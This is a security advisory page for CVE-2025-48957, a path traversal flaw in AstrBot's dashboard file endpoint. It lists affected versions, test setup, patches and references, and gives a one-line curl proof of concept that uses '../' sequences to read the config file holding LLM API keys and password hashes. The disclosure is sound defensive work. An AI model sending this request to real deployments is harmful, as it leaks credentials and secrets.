CVE-2025-48957: AstrBot Has Path Traversal Vulnerability in /api/chat/get_file
Impact This vulnerability may lead to: Information disclosure, such as API keys for LLM providers, account passwords, and other sensitive data. Reproduce Follow these steps to set up a test environment for reproducing the vulnerability: 1. Install dependencies and clone the repository: 2. Alternatively, deploy the program via pip: 3.
Published Jun 4, 2025 · Updated Jun 27, 2025
Affected packages
astrbot
- Ecosystem
- PyPI
- Affected
- >= 3.4.4, <= 3.5.12
- Fixed in
- 3.5.13
- Check
pip show astrbot
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Impact
This vulnerability may lead to:
- Information disclosure, such as API keys for LLM providers, account passwords, and other sensitive data.
Reproduce
Follow these steps to set up a test environment for reproducing the vulnerability:
- Install dependencies and clone the repository:
pip install uv
git clone https://github.com/AstrBotDevs/AstrBot && cd AstrBot
uv run main.py- Alternatively, deploy the program via pip:
mkdir astrbot && cd astrbot
uvx astrbot init
uvx astrbot run- In another terminal, run the following command to exploit the vulnerability:
curl -L http://0.0.0.0:6185/api/chat/get_file?filename=../../../data/cmd_config.jsonThis request will read the cmd_config.json config file, leading to the leakage of sensitive data such as LLM API keys, usernames, and password hashes (MD5).
Patches
The vulnerability has been addressed in Pull Request #1676 and is included in versions >= v3.5.13. All users are strongly encouraged to upgrade to v3.5.13 or later.
Workarounds
Users can edit the cmd_config.json file to disable the dashboard feature as a temporary workaround. However, it is strongly recommended to upgrade to version v3.5.13 or later as soon as possible to fully resolve this issue.
References
Credited to 7resp4ss, Soulter, Raven95676.
References
- https://github.com/AstrBotDevs/AstrBot/security/advisories/GHSA-cq37-g2qp-3c2p
- https://nvd.nist.gov/vuln/detail/CVE-2025-48957
- https://github.com/AstrBotDevs/AstrBot/issues/1675
- https://github.com/AstrBotDevs/AstrBot/pull/1676
- https://github.com/AstrBotDevs/AstrBot/commit/cceadf222c46813c7f41115b40d371e7eb91e492
- https://www.vicarius.io/vsociety/posts/cve-2025-48957-detect-astrbot-dashboard-vulnerability?prevUrl=wizard
- https://www.vicarius.io/vsociety/posts/cve-2025-48957-mitigate-astrbot-dashboard-vulnerability?prevUrl=wizard
- https://github.com/advisories/GHSA-cq37-g2qp-3c2p
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
